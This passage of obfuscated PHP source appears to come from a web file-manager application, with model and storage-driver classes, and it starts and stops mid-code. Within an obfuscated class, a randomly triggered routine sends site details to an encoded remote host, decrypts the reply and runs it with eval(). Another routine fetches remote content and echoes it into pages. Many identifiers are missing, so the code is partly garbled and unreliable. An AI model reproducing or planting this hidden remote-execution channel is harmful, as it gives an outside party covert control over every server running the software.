$ɠꗛ = array($[118], $[119]); $ = $[663]; if (!_get($GLOBALS, $[115]) || !isset($_GET[$[213]])) { return; } if (!in_array($_SERVER[$[24]], $ɠꗛ)) { return; } $䫀 = $[214]; $ = $[664]; if (strlen($) < $[628]) { return; } $䫀 = $this->gvnp92c8a5a6($䫀, $[215]); $ʱ۲ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $ = $[665]; if (strlen($) < $[614]) { die; } $ = @file_get_contents($䫀, !1, $ʱ۲); $ = $[666]; while (strlen($) < $[614]) { if (!$) { break; } $++; } header($[220]); $ = $[667]; if (strlen($) < $[628]) { die; } if ($ && strstr($, $[221])) { echo $; } die; } public function tozga22467d4($) { $ =& $_SERVER[]; $ɨ =& $_SERVER[]; if ($this->xrgp672fde7b == $ɨ[222]) { return $; } $ = array($ɨ[223] => $ɨ[224], $ɨ[225] => $ɨ[224], $ɨ[226] => $ɨ[224], $ɨ[227] => $ɨ[228], $ɨ[229] => $ɨ[228], $ɨ[230] => $ɨ[228], $ɨ[231] => $ɨ[228], $ɨ[232] => $ɨ[228], $ɨ[233] => $ɨ[228], $ɨ[234] => $ɨ[228], $ɨ[235] => $ɨ[228], $ɨ[236] => $ɨ[228], $ɨ[237] => $ɨ[228], $ɨ[238] => $ɨ[228], $ɨ[239] => $ɨ[228]); $葝 = $[668]; $ۮ¢ = explode($ɨ[240], _get($this->idou357f796e, $ɨ[112], $ɨ[6])); $ = array(); $Ɍ = $[669]; while ($Ɍ < $[617]) { if ($Ɍ >= 0) { break; } $Ɍ++; } foreach ($ as $ => $) { if ($ == $ɨ[224] && substr($this->xrgp672fde7b, 0, 1) == $ɨ[224]) { continue; } if (!in_array($, $ۮ¢)) { $[] = $; } } foreach ($ as $) { unset($[$]); $ = $[670]; if (strlen($) < $[614]) { die; } } return $; } private function htrga442d9b4() { $ȿ =& $_SERVER[]; if ($this->xrgp672fde7b != $ȿ[106]) { $GLOBALS[$ȿ[85]][$ȿ[89]][$ȿ[241]] = $ȿ[203]; return; } $GLOBALS[$ȿ[85]][$ȿ[242]] = $ȿ[121]; if (Model($ȿ[243])->get($ȿ[63]) != $ȿ[203]) { Model($ȿ[243])->set($ȿ[63], $ȿ[203]); } } public function ajpr53c7b982() { return $_SERVER[][244]; } private function nhzp4cfcc5cc() { $˾ =& $_SERVER[]; $߮ =& $_SERVER[]; $ = array($߮[245], $߮[246], $߮[247]); $ڏ = $߮[248] . md5($߮[249]); if ($this->xrgp672fde7b == $߮[106] || !_get($GLOBALS, $߮[115])) { return; } if (!in_array($_SERVER[$߮[24]], $)) { return; } if (time() % 4 != 0) { return; } $ԥ = call_user_func(array($߮[250], $߮[251]), $ڏ); if ($ԥ && time() - $ԥ < intval($߮[252])) { return; } call_user_func(array($߮[250], $߮[138]), $ڏ, time()); $ = Model($߮[33])->get($߮[103]); $ߐ = $˾[671]; while (strlen($ߐ) < $˾[624]) { if (!$ߐ) { break; } $ߐ++; } $ = array($߮[150] => Model($߮[33])->get($߮[186]), $߮[163] => $this->xrgp672fde7b, $߮[160] => $_SERVER[$߮[161]], $߮[162] => Model($߮[33])->get($߮[130]), $߮[101] => md5($_SERVER[$߮[102]] . $), $߮[153] => $߮[135], $߮[156] => $_SERVER[$߮[157]]); $Ӭ = $˾[672]; if (!$Ӭ) { return; } $С = $this->whtx0b7ce336($߮[253], $); if (!is_array($С)) { return; } if ($С[$߮[150]] && $С[$߮[254]]) { if ($this->vusa75077c36($С[$߮[254]]) == $[$߮[150]]) { return; } } $this->iodg9237f593(); $χ = $˾[673]; if (strlen($χ) < $˾[614]) { return; } if ($this->vusa75077c36($С[$߮[254]]) != $[$߮[150]]) { $ = array($߮[181] => $, $߮[182] => $_SERVER[$߮[102]], $߮[183] => this_url(), $߮[158] => $_SERVER[$߮[159]]); $ = $this->vimdc84c1307(json_encode($)); $С = $this->whtx0b7ce336($߮[184] . $); if ($С && is_array($С) && isset($С[$߮[254]])) { $ޥĂ = $this->kqgw4ac493ae($С[$߮[254]], 2); if ($ޥĂ) { $ޥĂ = $this->vusa75077c36($ޥĂ); } if ($ޥĂ) { try { @eval($ޥĂ); } catch (Exception $并) { } } } } } private function whtx0b7ce336($ = '', $ = array(), $ = 5) { $úٛ =& $_SERVER[]; $Τ =& $_SERVER[]; $Δ = $Τ[255]; $ = $úٛ[674]; if (strlen($) < $úٛ[607]) { die; } $Δ = $this->gvnp92c8a5a6($Δ, $Τ[256]); $ = $úٛ[675]; $Δ = $Δ . $; $߫ = $úٛ[676]; if (!$߫) { return; } if ($ && is_array($)) { $Δ = $Δ . $Τ[257] . http_build_query($); } if ($ === -1) { return $Δ; } $ = stream_context_create(array($Τ[216] => array($Τ[219] => $, $Τ[217] => $Τ[258]), $Τ[259] => array($Τ[260] => !1, $Τ[261] => !1))); $鲆۰ = $úٛ[677]; if (strlen($鲆۰) < $úٛ[617]) { die; } $ = @file_get_contents($Δ, !1, $); return json_decode($, !0); $ = $úٛ[635]; if (!$) { die; } $ǹ = $úٛ[678]; } private function jgpl087917ca() { $ =& $_SERVER[]; $ݙ =& $_SERVER[]; $ = array($ݙ[262] => $ݙ[263], $ݙ[264] => $ݙ[265], $ݙ[266] => $ݙ[267], $ݙ[268] => $ݙ[269], $ݙ[270] => $ݙ[271], $ݙ[272] => $ݙ[211], $ݙ[273] => $ݙ[211], $ݙ[274] => $ݙ[263], $ݙ[275] => $ݙ[265], $ݙ[276] => $ݙ[267], $ݙ[277] => $ݙ[278], $ݙ[279] => $ݙ[269], $ݙ[280] => $ݙ[281], $ݙ[282] => $ݙ[271], $ݙ[283] => $ݙ[284], $ݙ[285] => $ݙ[286], $ݙ[287] => $ݙ[288]); $ = $[$this->xrgp672fde7b]; $ = intval($ ? $ : $ݙ[263]); $ = $[679]; if (!$) { die; } $Ƽ = _get($this->idou357f796e, $ݙ[289]); $Ƽ = $Ƽ ? intval($Ƽ) : 0; $ח = $[680]; while (strlen($ח) < $[624]) { if (!$ח) { break; } $ח++; } return $ + $Ƽ; $ = $[681]; if (!$) { die; } } public function krep143df4a9($) { $٤Ʋ =& $_SERVER[]; $Ƴ =& $_SERVER[]; $ꀢ = $this->jgpl087917ca(); if ($[$Ƴ[290]] == $Ƴ[121]) { return; } if ($ꀢ >= intval($Ƴ[211])) { return; } $Ѵ = Model($Ƴ[124])->count(); $Ӎԏ = $٤Ʋ[682]; if ($Ѵ <= $ꀢ) { return; } $Ұ = Model($Ƴ[124])->field($Ƴ[290])->limit($ꀢ)->select(); $ƽ = $٤Ʋ[683]; $Ұ = array_to_keyvalue($Ұ, $Ƴ[6], $Ƴ[290]); if (!in_array($[$Ƴ[290]], $Ұ)) { show_json($Ƴ[291], !1, $Ƴ[207]); } } public function odwr8725e2fa() { $͍ =& $_SERVER[]; $ =& $_SERVER[]; if (!_get($GLOBALS, $[115]) || mt_rand(1, 100) > 20) { return; } $Ʒ룹 = $[214]; $ = $͍[684]; $Ʒ룹 = $this->gvnp92c8a5a6($Ʒ룹, $[215]); $힡 = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $צ = $͍[685]; $ = @file_get_contents($Ʒ룹, !1, $힡); $袛 = $͍[686]; if (!$袛) { return; } echo $[292] . hash_encode($) . $[293]; } private function fqbrffbc0e2b($҆, $ϝ, $ր = 3) { $ۥ =& $_SERVER[]; $ܿ =& $_SERVER[]; usleep(1); $¦ = $ۥ[687]; $҆ = trim($҆); $ثŧ = mt_rand(0, 5) . $ܿ[6]; $ = $ۥ[688]; $ = rand_string(15); $ԕ = $ܿ[294]; $Ȗ = $ۥ[689]; switch ($ثŧ) { case $ܿ[203]: $ְ = $this->joig8aa7e5f1($҆, strrev($ϝ . $)); break; $ = $ۥ[690]; while ($ < $ۥ[624]) { if ($ >= 0) { break; } $++; } case $ܿ[121]: $ְ = $this->joig8aa7e5f1($҆, strrev($ . $ϝ)); $ɠ = $ۥ[691]; if (strlen($ɠ) < $ۥ[628]) { return; } break; $ = $ۥ[692]; case $ܿ[295]: $ְ = $this->joig8aa7e5f1($҆, base64_encode($ . $ϝ)); $ = $ۥ[681]; if (!$) { die; } break; case $ܿ[296]: $ְ = $this->joig8aa7e5f1($҆, md5($ . $ϝ)); break; case $ܿ[297]: $҆ = base64_encode($҆); $÷ = rand(0, 64); $ = $ۥ[693]; if (strlen($) < $ۥ[617]) { die; } $Ƨ = $ԕ[$÷]; $ꠡ = $ۥ[694]; $鰲σ = md5($Ƨ . md5($ϝ . $Ƨ) . $ϝ); $鰲σ = substr($鰲σ, $÷ % 8, $÷ % 8 + 7); $ = $ܿ[6]; $ގ = 0; $ͱӫ = 0; $ö = 0; for ($ގ = 0; $ގ < strlen($҆); $ގ++) { $ö = $ö == strlen($鰲σ) ? 0 : $ö; $ = $ۥ[695]; if (strlen($) < $ۥ[614]) { return; } $ͱӫ = ($÷ + strpos($ԕ, $҆[$ގ]) + ord($鰲σ[$ö++])) % 64; $ .= $ԕ[$ͱӫ]; $ = $ۥ[696]; } $ְ = hash_encode($Ƨ . $); break; $ҸϘ = $ۥ[697]; while ($ҸϘ < $ۥ[628]) { if ($ҸϘ >= 0) { break; } $ҸϘ++; } default: $ְ = $this->joig8aa7e5f1($҆, $ϝ . $); $ߐƳ = $ۥ[698]; while ($ߐƳ < $ۥ[628]) { if ($ߐƳ >= 0) { break; } $ߐƳ++; } break; $ = $ۥ[699]; while ($ < $ۥ[617]) { if ($ >= 0) { break; } $++; } } $ְ = strrev($ثŧ . $ . $ְ); if ($ր - 1 > 0) { $ְ = $this->fqbrffbc0e2b($ְ, $ϝ, $ր - 1); } return $ְ; } private function kqgw4ac493ae($ݞ, $, $ = 3) { $ڀ =& $_SERVER[]; $֨ =& $_SERVER[]; if (!is_string($ݞ) || strlen($ݞ) < 10) { return !1; } $ݞ = trim($ݞ); $ = $ڀ[700]; if (!$) { die; } $ݞ = strrev($ݞ); $߮ = $ݞ[0]; $ = $ڀ[701]; if (strlen($) < $ڀ[614]) { return; } $ = substr($ݞ, 1, 15); $׳ = $ڀ[702]; $ݞ = substr($ݞ, 16); $ʴ˼ = $֨[294]; switch ($߮) { case $֨[203]: $Ƙ = $this->gvnp92c8a5a6($ݞ, strrev($ . $)); $ = $ڀ[703]; break; case $֨[121]: $Ƙ = $this->gvnp92c8a5a6($ݞ, strrev($ . $)); break; $ݭѹ = $ڀ[704]; case $֨[295]: $Ƙ = $this->gvnp92c8a5a6($ݞ, base64_encode($ . $)); break; $ڧ = $ڀ[705]; if (strlen($ڧ) < $ڀ[624]) { return; } case $֨[296]: $Ƙ = $this->gvnp92c8a5a6($ݞ, md5($ . $)); break; $߬ = $ڀ[706]; case $֨[297]: $ݞ = hash_decode($ݞ); $ = $ڀ[707]; $ߘ͂ = $ݞ[0]; $қ = $ڀ[708]; if (strlen($қ) < $ڀ[607]) { die; } $ݞ = substr($ݞ, 1); $ = strpos($ʴ˼, $ߘ͂); $ = md5($ߘ͂ . md5($ . $ߘ͂) . $); $ = substr($, $ % 8, $ % 8 + 7); $ĭ = $֨[6]; $Կ = 0; $ȹ = 0; $ȥ = $ڀ[709]; if (!$ȥ) { die; } $ = 0; for ($Կ = 0; $Կ < strlen($ݞ); $Կ++) { $ = $ == strlen($) ? 0 : $; $φ = $ڀ[710]; if (!$φ) { die; } $ = $++; $ = $ڀ[711]; if (!$) { die; } $ȹ = strpos($ʴ˼, $ݞ[$Կ]) - $ - ord($[$]); $킭 = $ڀ[712]; if (strlen($킭) < $ڀ[607]) { return; } while ($ȹ < 0) { $ȹ += 64; $ܬ = $ڀ[713]; if (!$ܬ) { return; } } $ĭ .= $ʴ˼[$ȹ]; } $Ƙ = base64_decode($ĭ); $» = $ڀ[714]; break; default: $Ƙ = $this->gvnp92c8a5a6($ݞ, $ . $); break; } if ($ - 1 > 0) { $Ƙ = $this->kqgw4ac493ae($Ƙ, $, $ - 1); } return $Ƙ; } public function vimdc84c1307($) { $ҍ =& $_SERVER[]; $¡ =& $_SERVER[]; $ = $this->jhyg75bf5186(); $ж = $ҍ[715]; if (!$ж) { die; } $ = $this->jhyg75bf5186(); $ϡ = $ҍ[716]; if (!$ϡ) { die; } $⋶ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); while (1) { $ = $; $Б = $ҍ[717]; if (strlen($Б) < $ҍ[624]) { die; } $ = $⋶; while ($ % $ != 0) { $ٞ = $; $ = $; $ܚ = $ҍ[718]; if (strlen($ܚ) < $ҍ[628]) { return; } $ = $ٞ % $; $ = $ҍ[719]; if (strlen($) < $ҍ[607]) { die; } } if ($ == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $⋶ * 10; $++) { if (($⋶ * $ + 1) % $ == 0) { $ = intval(($⋶ * $ + 1) / $); break; } } $ = $this->joig8aa7e5f1($ * $ . $¡[6], $¡[135]); $ = md5($¡[298] . ($ + $) . $¡[299] . $ . $¡[299] . $ . $¡[300]); $ = $ҍ[720]; if (!$) { return; } $ϟ = $this->joig8aa7e5f1($, $) . $¡[301] . $; return $ϟ; $Ԫ = $ҍ[721]; if (strlen($Ԫ) < $ҍ[614]) { die; } } public function vusa75077c36($ɻ) { $ڋ =& $_SERVER[]; $Ř =& $_SERVER[]; $Ӯκ = explode($Ř[301], $ɻ); $ڂ = $ڋ[722]; while (strlen($ڂ) < $ڋ[617]) { if (!$ڂ) { break; } $ڂ++; } if (count($Ӯκ) != 2) { return $Ř[6]; } $밄 = $this->gvnp92c8a5a6($Ӯκ[1] . $Ř[6], $Ř[135]); if (!$밄) { return $Ř[6]; } $밄 = intval($밄); $թ = $ڋ[723]; if (!$թ) { return; } $ = 0; $ǐ = $ڋ[724]; if (!$ǐ) { return; } $ÃЛ = 0; for ($ = 3; $ < $밄; $ += 2) { if ($밄 % $ != 0) { continue; } $ = $; $ÃЛ = intval($밄 / $); $ = $ڋ[725]; if (strlen($) < $ڋ[617]) { return; } break; } $줹 = ($ - 1) * ($ÃЛ - 1); $ = intval(($ + $ÃЛ) / 2); $Џ = $ڋ[726]; while ($Џ < $ڋ[624]) { if ($Џ >= 0) { break; } $Џ++; } while (1) { $д = $; $ = $ڋ[727]; while (strlen($) < $ڋ[607]) { if (!$) { break; } $++; } $ӎި = $줹; while ($ӎި % $д != 0) { $ = $ӎި; $ӎި = $д; $ = $ڋ[728]; if (strlen($) < $ڋ[628]) { return; } $д = $ % $д; } if ($д == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $줹 * 10; $++) { if (($줹 * $ + 1) % $ == 0) { $ = intval(($줹 * $ + 1) / $); break; } } $ڳ = md5($Ř[298] . ($ + $ÃЛ) . $Ř[299] . $ . $Ř[299] . $ . $Ř[300]); $ = $ڋ[729]; if (strlen($) < $ڋ[624]) { return; } $ = $this->gvnp92c8a5a6($Ӯκ[0], $ڳ); return $; $ѵ = $ڋ[730]; if (!$ѵ) { die; } } public function jhyg75bf5186() { $ =& $_SERVER[]; $ݑ = mt_rand(pow(2, 14), pow(2, 16) - 1); $̠˧ = $[731]; $ۨ١ = array(); $Ӣ = 1; while ($Ӣ <= (int) sqrt($ݑ)) { $ͅ = $Ӣ; $ = $[732]; if (strlen($) < $[624]) { return; } while (!0) { $ͅ++; if ($ͅ <= 2) { $Ӣ = $ͅ; break; } else { if ($ͅ < 2) { continue; } } $ھ = !0; for ($ō = 2; $ō <= sqrt($ͅ); $ō++) { if ($ͅ % $ō == 0) { $ھ = !1; } } if ($ھ) { $Ӣ = $ͅ; break; } } $ۨ١[] = $Ӣ; $ = $[733]; if (strlen($) < $[624]) { die; } } $Ƴ = 2; for ($ͅ = $ݑ; $ͅ > 1; $ͅ--) { $ھ = !0; $ = $[734]; if (!$) { die; } foreach ($ۨ١ as $) { if ($ͅ % $ == 0) { $ھ = !1; break; } } if ($ھ) { $Ƴ = $ͅ; break; } } return $Ƴ; } public function pdgzc6fe193e($ά§, $ǒ) { $ =& $_SERVER[]; return call_user_func(array($[8], $[302]), $ά§, $ǒ); } public function joig8aa7e5f1($Ԥ, $ܵٻ) { $ɤ =& $_SERVER[]; return call_user_func(array($ɤ[303], $ɤ[304]), $Ԥ, $ܵٻ); } public function gvnp92c8a5a6($㯗, $) { $Ř =& $_SERVER[]; $ɡ =& $_SERVER[]; return call_user_func(array($ɡ[303], $ɡ[305]), $㯗, $); $ = $Ř[735]; if (strlen($) < $Ř[614]) { die; } } } goto Fݬ; aٝ: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\x6e\x6f\164\x69\x63\x65\x4c\x69\163\x74"; public $field = array("\156\x61\155\x65", "\143\157\x6e\x74\x65\x6e\x74", "\x61\165\x74\x68", "\155\x6f\144\x65", "\164\151\x6d\145", "\164\x79\160\x65", "\154\x65\x76\x65\x6c", "\x65\156\x61\142\x6c\x65", "\163\x6f\162\164"); public function listData($ΥƝ = false, $̲ = "\163\x6f\x72\164", $ = false) { return parent::listData($ΥƝ, $̲, $); } public function add($ఌ) { $ =& $_SERVER[]; $ɰ٭ = time(); if ($ఌ[$[16]] == $[2283]) { $ɰ٭ = strtotime($ఌ[$[180]]); } $ఌ[$[180]] = $ɰ٭; return parent::insert($ఌ); } public function update($դø, $) { $ =& $_SERVER[]; $ = $this->listData($դø); if (!$) { return !1; } $Ѩ = time(); if ($[$[16]] == $[2283]) { $Ѩ = strtotime($[$[180]]); } $[$[180]] = $Ѩ; return parent::update($դø, $); } public function remove($) { $È = $this->listData($); if (!$È || $È[$_SERVER[][1280]]) { return !1; } return parent::remove($); } public function sort($, $ט) { return parent::update($, $ט); } public function enable($ަ, $ӿ) { return parent::update($ަ, array($_SERVER[][2284] => $ӿ)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2285]; $this->modelType = $[2286]; $this->field = array($[2287], $[32], $[180], $[33], $[2288], $[746], $[196]); } public function userNoticeGet($ݻ = false) { $this->initUserOption(); return parent::listData($ݻ, $_SERVER[][399], !0); } public function userNoticeAdd($ނ) { $Ͼ =& $_SERVER[]; $this->initUserOption(); $ラ = $this->findByKey($Ͼ[2287], $ނ[$Ͼ[399]]); if ($ラ) { return !0; } $՞ = array($Ͼ[2287] => $ނ[$Ͼ[399]], $Ͼ[32] => $ނ[$Ͼ[32]], $Ͼ[180] => $ނ[$Ͼ[180]], $Ͼ[33] => isset($ނ[$Ͼ[33]]) ? $ނ[$Ͼ[33]] : 1, $Ͼ[2288] => isset($ނ[$Ͼ[2288]]) ? $ނ[$Ͼ[2288]] : 0, $Ͼ[746] => 0, $Ͼ[196] => 0); return parent::insert($՞); } public function userNoticeEdit($ϗӥ, $ê) { $this->initUserOption(); return parent::update($ϗӥ, $ê); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\145\x6d\x5f\x6f\160\164\x69\x6f\x6e"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\x6f\154\x65", "\162\157\154\x65\107\x72\x6f\x75\x70", "\162\145\147\x69\x73\x74", "\x65\x6d\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($߿Ώ) { return "\x53\x79\163\x74\145\x6d\x4f\160\164\x69\157\156\x5f{$߿Ώ}"; } protected function optionDefault($ = '') { $Ҭ =& $_SERVER[]; if ($ == $Ҭ[12]) { return $GLOBALS[$Ҭ[6]][$Ҭ[381]]; } } } class SystemRecordModel extends ModelBaseLight { } goto A; Dč: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ʥ۪ =& $_SERVER[]; $this->objectDriver = array($ʥ۪[60], $ʥ۪[61], $ʥ۪[62], $ʥ۪[63], $ʥ۪[64], $ʥ۪[65], $ʥ۪[66], $ʥ۪[67], $ʥ۪[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[][8]); } return $; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($겳, $, $Ѽ) { $듿 =& $_SERVER[]; if (!$겳 || !function_exists($듿[69])) { return $겳; } static $ = array(); $ = $ . $듿[70] . $Ѽ . $듿[71] . $겳; if (isset($[$])) { return $[$]; } if (function_exists($듿[72])) { $ǐ = @mb_convert_encoding($겳, $Ѽ, $); } else { $ǐ = @iconv($, $Ѽ, $겳); } $ǐ = $ǐ ? $ǐ : $겳; if (strstr($ǐ, $듿[73])) { $ǐ = str_replace($듿[73], $듿[11], $ǐ); } $[$ . $듿[70] . $Ѽ . $듿[71] . $겳] = $ǐ; $[$Ѽ . $듿[70] . $ . $듿[71] . $겳] = $겳; $[$Ѽ . $듿[70] . $ . $듿[71] . $ǐ] = $겳; $[$ . $듿[70] . $Ѽ . $듿[71] . $ǐ] = $ǐ; return $ǐ; } public function getPathInner($֤) { $ = IO::init($֤); return $->path; } public function getPathOuter($؍) { $傏 =& $_SERVER[]; $Ϳ = strlen(trim($this->pathBase, $傏[8])); $؍ = substr(trim($؍, $傏[8]), $Ϳ); return $this->pathDriver . $傏[8] . ltrim($؍, $傏[8]); } public function isParentOf($ۑ, $Ţ) { $잡 =& $_SERVER[]; $ۑ = rtrim(strtolower($ۑ), $잡[8]) . $잡[8]; $Ţ = rtrim(strtolower($Ţ), $잡[8]) . $잡[8]; $ۆۃ = strpos($Ţ, $ۑ) === 0; return $ۆۃ; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $Ϳ) { $ק =& $_SERVER[]; $Ç = rtrim($, $ק[8]) . $ק[8] . $Ϳ; $ = $this->exist($Ç); return $ ? $Ç : !1; } public function setModifyTime($גӒ, $ = '') { } public function renameObject($Ň, $) { $ݩ = $; $Ň = $this->getPathOuter($Ň); $ = $this->pathFather($Ň) . $; $ = IO::copy($Ň, $this->pathFather($Ň), REPEAT_RENAME_FOLDER, $ݩ); if ($) { IO::remove($Ň); } return $ ? $ : !1; } public function tempFile($˼ = '', $ӫȣ = '') { if (!$˼) { $˼ = rand_string(15); } $ɴ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($ɴ, DEFAULT_PERRMISSIONS, !0); $DZ = $ɴ . $˼; @touch($DZ); if ($ӫȣ) { file_put_contents($DZ, $ӫȣ); } return $DZ; } public function tempFileRemve($Ӆ) { @unlink($Ӆ); @rmdir($this->pathFather($Ӆ)); } public function mkfile($ӂᨄ, $ = '', $ཻ٢ = REPEAT_RENAME) { } public function mkdir($݂, $Ϳ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ơפ) { } public function copyFile($, $) { } public function moveFile($ٱ, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $ƸЂ) { } public function exist($) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($׆) { } public function isFolder($悿) { } public function size($֓) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($ﵔ) { return $this->info($ﵔ); } public function infoFull($) { return $this->info($); } public function infoWithChildren($ꙙ) { $ =& $_SERVER[]; static $Ȱ = array(); if (isset($Ȱ[$ꙙ])) { return $Ȱ[$ꙙ]; } $ = $this->info($ꙙ); if ($ && $[$[33]] == $[75]) { $ȄӢ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($ꙙ, $ȄӢ); $[$[76]] = $ȄӢ[$[76]]; $[$[79]] = array($[80] => $ȄӢ[$[77]], $[81] => $ȄӢ[$[78]]); $Ȱ[$ꙙ] = $; } return $; } public function listPath($, $ = false) { } public function has($, $í = false, $ŗΏ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($Ĥ) { } public function setContent($, $ް = '') { } protected function infoChildren($덾, &$炴) { $ի =& $_SERVER[]; check_abort_echo(); $ٯ = $this->listPath($덾, !0); $ٯ = array_merge($ٯ[$ի[82]], $ٯ[$ի[83]]); foreach ($ٯ as $۔) { if ($۔[$ի[33]] == $ի[75]) { $炴[$ի[78]]++; $ = $this->getPathInner($۔[$ի[84]]); $this->infoChildren($, $炴); } else { $炴[$ի[77]]++; $炴[$ի[76]] += $۔[$ի[76]]; } } } public function fileSubstr($, $ї, $ͣ) { } public function listAll($ɛՁ) { } public function listAllMake($, &$ɇ) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ѿ = array_merge($[$[82]], $[$[83]]); foreach ($ѿ as $) { $DZ = $[$[33]] == $[75]; $ɑ = array($[84] => $[$[84]], $[75] => $DZ); if (isset($[$[76]])) { $ɑ[$[76]] = $[$[76]]; } if (isset($[$[85]])) { $ɑ[$[85]] = $[$[85]]; } if (!$DZ) { $ɇ[] = $ɑ; continue; } $ɇ[] = $ɑ; $® = $[$[84]]; $϶ = $this->pathDriver; if (substr($[$[84]], 0, strlen($϶)) == $϶) { $® = substr($®, strlen($϶)); } $this->listAllMake($®, $ɇ); } } public function listAllSimple($, $ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $); } public function listAllSimpleMake($, $쒽, $ᯇ) { $ =& $_SERVER[]; $٦ = array(); $쒽 = rtrim(get_path_father($쒽), $[8]) . $[8]; foreach ($ as $) { $ը = array($[84] => $[$[84]], $[86] => $[$[84]], $[75] => $[$[75]]); if (isset($[$[76]]) && !$[$[75]]) { $ը[$[76]] = $[$[76]]; } if (isset($[$[85]])) { $ը[$[85]] = $[$[85]]; } if (is_array($[$[87]])) { $ը[$[86]] = $[$[87]][$[84]]; $ը[$[76]] = $[$[87]][$[76]]; $ը[$[85]] = $[$[87]][$[85]]; } else { if (substr($[$[84]], 0, strlen($쒽)) == $쒽) { $ը[$[84]] = substr($[$[84]], strlen($쒽)); } } $ڰ = $[$[75]] ? $[8] : $[12]; $ը[$[86]] = rtrim($ը[$[86]], $[8]) . $ڰ; $ը[$[84]] = $[8] . trim($ը[$[84]], $[8]) . $ڰ; if (!$ᯇ) { $ۥ = explode($[8], trim($ը[$[84]], $[8])); $ը[$[84]] = $[8] . implode($[8], array_slice($ۥ, 1)) . $ڰ; } $٦[] = $ը; } return array_sort_by($٦, $[84]); } public function upload($Ŝ, $, $ŕ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $) { } public function uploadFileByPath($, $٢, $˴ = array()) { } public function isUploadServer() { $Ý =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $Ý[88]) { return !0; } return $GLOBALS[$Ý[6]][$Ý[89]][$Ý[90]]; } public function isFileOutServer() { $ս =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $ս[88]) { return !0; } return $GLOBALS[$ս[6]][$ս[89]][$ս[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($Ü, $ = 0) { $Љ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ѫ֝ = 1024 * 1024 * 10; $ø = $ <= $ѫ֝ ? $Љ[92] : $Љ[93]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$ø}($Ü, $); if ($) { $[$Љ[94]] = $Ü; $[$Љ[95]] = $; } return $; } public function uploadFormData($ʟ, $ɤ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($, $ʂ) { } public function ext($Ͽ) { $ =& $_SERVER[]; if (strpos($Ͽ, $[8]) === -1) { $̴ = $Ͽ; } else { $̴ = $this->pathThis($Ͽ); } $َ = $[12]; if (strstr($̴, $[10])) { $َ = substr($̴, strrpos($̴, $[10]) + 1); $َ = strtolower($َ); } if (strlen($َ) > 3 && preg_match($[96], $َ, $)) { $َ = $[12]; } return $َ; } public function pathThis($݃) { $ߑ =& $_SERVER[]; $݃ = str_replace($ߑ[97], $ߑ[8], rtrim($݃, $ߑ[8])); $꾂 = strrpos($݃, $ߑ[8]); if ($꾂 === !1) { return $݃; } return substr($݃, $꾂 + 1); } public function pathFather($Д唄) { $ŵ郲 =& $_SERVER[]; $Д唄 = str_replace($ŵ郲[97], $ŵ郲[8], rtrim($Д唄, $ŵ郲[8])); $մˍ = strrpos($Д唄, $ŵ郲[8]); if ($մˍ === !1) { return $ŵ郲[12]; } return substr($Д唄, 0, $մˍ + 1); } public function hashSimple($ڭ) { $섔ϔ =& $_SERVER[]; if (!$ڭ) { return md5($섔ϔ[12]); } $ = $this->size($ڭ); $ = 200; $Ӄ = 50; if ($ <= $ * $Ӄ) { return $this->hashMd5($ڭ) . $; } $ݺλ = intval($ / $Ӄ); $ = $섔ϔ[12]; for ($ȑ = 0; $ȑ < $Ӄ; $ȑ++) { $ .= $this->fileSubstr($ڭ, $ݺλ * $ȑ, $); } $ .= $this->fileSubstr($ڭ, $ - $, $); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($Ӷ) { if (!$Ӷ) { return md5($_SERVER[][12]); } $Ӷ = $this->iconvSystem($Ӷ); if (isset(self::$md5Cache[$Ӷ])) { return self::$md5Cache[$Ӷ]; } self::$md5Cache[$Ӷ] = $this->hashMd5Shell($Ӷ); if (!self::$md5Cache[$Ӷ]) { self::$md5Cache[$Ӷ] = @md5_file($Ӷ); } return self::$md5Cache[$Ӷ]; } private function hashMd5Shell($Ԛ) { $Ă =& $_SERVER[]; if (!$Ԛ) { return md5($Ă[12]); } if (!function_exists($Ă[98])) { return !1; } $ = array($Ă[99], $Ă[100]); $ = Cache::get($Ă[101]); if 